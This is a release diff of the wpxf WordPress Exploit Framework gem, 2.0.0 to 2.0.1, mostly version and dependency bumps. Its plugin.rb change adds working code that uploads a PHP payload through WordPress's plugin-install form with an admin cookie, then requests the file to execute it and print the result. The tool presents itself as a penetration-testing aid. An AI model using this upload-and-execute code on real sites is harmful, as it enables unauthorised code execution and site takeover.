wpxf 2.0.0 → 2.0.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/data/json/commands.json +1 -1
- data/lib/wpxf/helpers/export.rb +1 -1
- data/lib/wpxf/utility/body_builder.rb +1 -0
- data/lib/wpxf/wordpress/file_download.rb +1 -1
- data/lib/wpxf/wordpress/plugin.rb +49 -15
- data/wpxf.gemspec +6 -6
- metadata +9 -9
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 7d5725813c55225ff4ab2155900d81f9d98d2cf4790060868a54068e585be457
|
4
|
+
data.tar.gz: 5f55b9c924bcb4e19e5ff34c66a811f1febf3c1ae8cc09d271354ca589f35bfd
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 21b35d834691a1b0da0565115c695798fcf1436d6ed925217a7a71c2238869df8769cc1a40211e264c7ae1b4c8899114cd5552ff010b47f9ea2a926409224749
|
7
|
+
data.tar.gz: 66e3c9db00c3cb34f0637c4a32b667b3e3ea037f03d370755f00e83f21d5ab0aee4c404c29e98176e85b6e21ee5029c9a577992214246fa9cdc34b9177454275
|
data/data/json/commands.json
CHANGED
data/lib/wpxf/helpers/export.rb
CHANGED
@@ -34,7 +34,7 @@ module Wpxf
|
|
34
34
|
File.join(storage_path, filename)
|
35
35
|
end
|
36
36
|
|
37
|
-
# Save
|
37
|
+
# Save content to a new file and log the loot in the database.
|
38
38
|
# @param content [String] the file content to save.
|
39
39
|
# @param extension [String] the file extension to use when creating the file.
|
40
40
|
# @return [Models::LootItem] the newly created {Models::LootItem}.
|
@@ -88,7 +88,7 @@ module Wpxf::WordPress::FileDownload
|
|
88
88
|
end
|
89
89
|
|
90
90
|
# Handles an occurrence of an unexpected result.
|
91
|
-
# @param [Integer] the returned HTTP code.
|
91
|
+
# @param code [Integer] the returned HTTP code.
|
92
92
|
# @return [Boolean] true if the code should be ignored, false if the module should fail.
|
93
93
|
def handle_unexpected_http_code(code)
|
94
94
|
emit_error "Server responded with code #{code}"
|
@@ -21,6 +21,18 @@ module Wpxf::WordPress::Plugin
|
|
21
21
|
return false if nonce.nil?
|
22
22
|
|
23
23
|
res = _upload_plugin(name, payload_name, cookie, nonce)
|
24
|
+
res&.code == 200 && res.body !~ /plugin installation failed/i
|
25
|
+
end
|
26
|
+
|
27
|
+
# Upload the payload via the plugin form without packaging it in a ZIP file.
|
28
|
+
# @param payload_name [String] the name the payload should use on the server.
|
29
|
+
# @param cookie [String] a valid admin session cookie.
|
30
|
+
# @return [Boolean] true on success, false on error.
|
31
|
+
def upload_payload_using_plugin_form(payload_name, cookie)
|
32
|
+
nonce = fetch_plugin_upload_nonce(cookie)
|
33
|
+
return false if nonce.nil?
|
34
|
+
|
35
|
+
res = _upload_plugin(nil, payload_name, cookie, nonce, false)
|
24
36
|
res&.code == 200
|
25
37
|
end
|
26
38
|
|
@@ -30,18 +42,16 @@ module Wpxf::WordPress::Plugin
|
|
30
42
|
# @param cookie [String] a valid admin session cookie.
|
31
43
|
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
|
32
44
|
def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
|
33
|
-
|
34
|
-
emit_error 'Failed to upload the payload'
|
35
|
-
return nil
|
36
|
-
end
|
45
|
+
uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)
|
37
46
|
|
38
|
-
|
39
|
-
|
40
|
-
|
47
|
+
unless uploaded_as_plugin
|
48
|
+
unless upload_payload_using_plugin_form(payload_name, cookie)
|
49
|
+
emit_error 'Failed to upload the payload'
|
50
|
+
return nil
|
51
|
+
end
|
52
|
+
end
|
41
53
|
|
42
|
-
|
43
|
-
emit_success "Result: #{res.body}" if has_body
|
44
|
-
res
|
54
|
+
_execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
|
45
55
|
end
|
46
56
|
|
47
57
|
# Generate a valid WordPress plugin header / base file.
|
@@ -61,6 +71,24 @@ module Wpxf::WordPress::Plugin
|
|
61
71
|
|
62
72
|
private
|
63
73
|
|
74
|
+
def _payload_url(plugin_name, payload_name)
|
75
|
+
if plugin_name.nil?
|
76
|
+
normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
|
77
|
+
else
|
78
|
+
normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
|
79
|
+
end
|
80
|
+
end
|
81
|
+
|
82
|
+
def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
|
83
|
+
payload_url = _payload_url(plugin_name, payload_name)
|
84
|
+
emit_info "Executing the payload at #{payload_url}..."
|
85
|
+
res = execute_get_request(url: payload_url)
|
86
|
+
|
87
|
+
has_body = res&.code == 200 && !res.body.strip.empty?
|
88
|
+
emit_success "Result: #{res.body}" if has_body
|
89
|
+
res
|
90
|
+
end
|
91
|
+
|
64
92
|
def _generate_wordpress_plugin_version
|
65
93
|
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
|
66
94
|
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
|
@@ -68,8 +96,8 @@ module Wpxf::WordPress::Plugin
|
|
68
96
|
end
|
69
97
|
|
70
98
|
# Build the body and return the response of the request.
|
71
|
-
def _upload_plugin(plugin_name, payload_name, cookie, nonce)
|
72
|
-
builder = _plugin_upload_builder(plugin_name, payload_name, nonce)
|
99
|
+
def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
|
100
|
+
builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
|
73
101
|
builder.create do |body|
|
74
102
|
return execute_post_request(
|
75
103
|
url: wordpress_url_admin_update,
|
@@ -90,13 +118,19 @@ module Wpxf::WordPress::Plugin
|
|
90
118
|
end
|
91
119
|
|
92
120
|
# A {BodyBuilder} with the required fields to upload a plugin.
|
93
|
-
def _plugin_upload_builder(plugin_name, payload_name, nonce)
|
94
|
-
zip_fields = _plugin_files(plugin_name, payload_name)
|
121
|
+
def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
|
95
122
|
builder = Wpxf::Utility::BodyBuilder.new
|
96
123
|
builder.add_field('_wpnonce', nonce)
|
97
124
|
builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
|
98
|
-
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
|
99
125
|
builder.add_field('install-plugin-submit', 'Install Now')
|
126
|
+
|
127
|
+
if create_zip
|
128
|
+
zip_fields = _plugin_files(plugin_name, payload_name)
|
129
|
+
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
|
130
|
+
else
|
131
|
+
builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
|
132
|
+
end
|
133
|
+
|
100
134
|
builder
|
101
135
|
end
|
102
136
|
end
|
data/wpxf.gemspec
CHANGED
@@ -2,12 +2,12 @@
|
|
2
2
|
|
3
3
|
Gem::Specification.new do |s|
|
4
4
|
s.name = 'wpxf'
|
5
|
-
s.version = '2.0.
|
6
|
-
s.date = '2018-
|
5
|
+
s.version = '2.0.1'
|
6
|
+
s.date = '2018-10-06'
|
7
7
|
s.summary = 'WordPress Exploit Framework'
|
8
8
|
s.description = 'A Ruby framework designed to aid in the penetration testing of WordPress systems'
|
9
9
|
s.authors = ['rastating']
|
10
|
-
s.email = '
|
10
|
+
s.email = 'robert.carr@owasp.org'
|
11
11
|
s.files = %w[lib db data bin].map { |d| Dir["#{d}/**/*"] }.flatten + ['wpxf.gemspec']
|
12
12
|
s.homepage = 'https://github.com/rastating/wordpress-exploit-framework'
|
13
13
|
s.license = 'GPL-3.0'
|
@@ -15,18 +15,18 @@ Gem::Specification.new do |s|
|
|
15
15
|
s.required_ruby_version = '>= 2.4.4'
|
16
16
|
|
17
17
|
s.add_dependency 'colorize', '~> 0.8'
|
18
|
-
s.add_dependency 'mime-types', '~> 3.
|
18
|
+
s.add_dependency 'mime-types', '~> 3.2'
|
19
19
|
s.add_dependency 'nokogiri', '~> 1.8'
|
20
20
|
s.add_dependency 'require_all', '~> 2.0'
|
21
21
|
s.add_dependency 'rubyzip', '~> 1.2'
|
22
|
-
s.add_dependency 'sequel', '~> 5.
|
22
|
+
s.add_dependency 'sequel', '~> 5.13'
|
23
23
|
s.add_dependency 'slop', '~> 4.6'
|
24
24
|
s.add_dependency 'sqlite3', '~> 1.3'
|
25
25
|
s.add_dependency 'typhoeus', '~> 1.3'
|
26
26
|
|
27
27
|
s.add_development_dependency 'coveralls', '~> 0.8'
|
28
28
|
s.add_development_dependency 'database_cleaner', '~> 1.7'
|
29
|
-
s.add_development_dependency 'rspec', '~> 3.
|
29
|
+
s.add_development_dependency 'rspec', '~> 3.8'
|
30
30
|
s.add_development_dependency 'rspec_sequel_matchers', '~> 0.5'
|
31
31
|
s.add_development_dependency 'yard', '~> 0.9'
|
32
32
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: wpxf
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 2.0.
|
4
|
+
version: 2.0.1
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- rastating
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2018-
|
11
|
+
date: 2018-10-06 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -30,14 +30,14 @@ dependencies:
|
|
30
30
|
requirements:
|
31
31
|
- - "~>"
|
32
32
|
- !ruby/object:Gem::Version
|
33
|
-
version: '3.
|
33
|
+
version: '3.2'
|
34
34
|
type: :runtime
|
35
35
|
prerelease: false
|
36
36
|
version_requirements: !ruby/object:Gem::Requirement
|
37
37
|
requirements:
|
38
38
|
- - "~>"
|
39
39
|
- !ruby/object:Gem::Version
|
40
|
-
version: '3.
|
40
|
+
version: '3.2'
|
41
41
|
- !ruby/object:Gem::Dependency
|
42
42
|
name: nokogiri
|
43
43
|
requirement: !ruby/object:Gem::Requirement
|
@@ -86,14 +86,14 @@ dependencies:
|
|
86
86
|
requirements:
|
87
87
|
- - "~>"
|
88
88
|
- !ruby/object:Gem::Version
|
89
|
-
version: '5.
|
89
|
+
version: '5.13'
|
90
90
|
type: :runtime
|
91
91
|
prerelease: false
|
92
92
|
version_requirements: !ruby/object:Gem::Requirement
|
93
93
|
requirements:
|
94
94
|
- - "~>"
|
95
95
|
- !ruby/object:Gem::Version
|
96
|
-
version: '5.
|
96
|
+
version: '5.13'
|
97
97
|
- !ruby/object:Gem::Dependency
|
98
98
|
name: slop
|
99
99
|
requirement: !ruby/object:Gem::Requirement
|
@@ -170,14 +170,14 @@ dependencies:
|
|
170
170
|
requirements:
|
171
171
|
- - "~>"
|
172
172
|
- !ruby/object:Gem::Version
|
173
|
-
version: '3.
|
173
|
+
version: '3.8'
|
174
174
|
type: :development
|
175
175
|
prerelease: false
|
176
176
|
version_requirements: !ruby/object:Gem::Requirement
|
177
177
|
requirements:
|
178
178
|
- - "~>"
|
179
179
|
- !ruby/object:Gem::Version
|
180
|
-
version: '3.
|
180
|
+
version: '3.8'
|
181
181
|
- !ruby/object:Gem::Dependency
|
182
182
|
name: rspec_sequel_matchers
|
183
183
|
requirement: !ruby/object:Gem::Requirement
|
@@ -208,7 +208,7 @@ dependencies:
|
|
208
208
|
version: '0.9'
|
209
209
|
description: A Ruby framework designed to aid in the penetration testing of WordPress
|
210
210
|
systems
|
211
|
-
email:
|
211
|
+
email: robert.carr@owasp.org
|
212
212
|
executables:
|
213
213
|
- wpxf
|
214
214
|
extensions: []
|